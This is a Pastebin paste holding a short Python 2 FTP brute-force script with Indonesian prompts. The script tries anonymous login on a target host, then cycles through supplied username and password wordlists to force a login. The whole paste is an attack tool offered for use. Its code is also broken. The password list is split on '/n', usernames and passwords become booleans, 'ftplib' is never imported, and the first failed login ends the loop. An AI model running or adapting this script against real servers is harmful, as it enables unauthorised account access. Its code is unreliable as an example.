Advertisement
Guest User

Ftp brute sederhana

a guest
Feb 16th, 2017
295
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.16 KB | None | 0 0
  1. #!usr/bin/python
  2. from ftplib import FTP
  3. import socket
  4.  
  5. def bruteftp(url):
  6. ip = socket.gethostbyname(url)
  7. print "[x]IP server:",ip,"\033[91m"
  8. try:
  9. print "[x]Mencoba anonymous user login...\n"
  10. test = FTP(ip)
  11. test.login()
  12. test.retrlines('LIST')
  13. print "[x]Berhasil masuk Anonymous login!"
  14. except(ftplib.all_errors):
  15. print "[!]Anonymous login gagal!"
  16. wordlist = raw_input("[x]Masukkan path wordlist pass untuk melanjutkan!:")
  17. usernamelist = raw_input("[x]Masukkan path userlist!:")
  18. buka = open(wordlist,'r')
  19. daftar = buka.read().split("/n")
  20. buka.close()
  21. user = open(usernamelist,'r')
  22. userlist = user.read().split("\n")
  23.  
  24. for dir in userlist:
  25. usernamesaya = dir in userlist
  26. for dir in daftar:
  27. passwordsaya = dir in daftar
  28. paksa = FTP(ip)
  29. paksa.login(usernamesaya,passwordsaya)
  30. paksa.retrlines('LIST')
  31. print "[x]Login berhasil dengan\n Username:",usernamesaya,"\n Password:",passwordsaya
  32.  
  33.  
  34. url = raw_input("URL:")
  35. bruteftp(url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement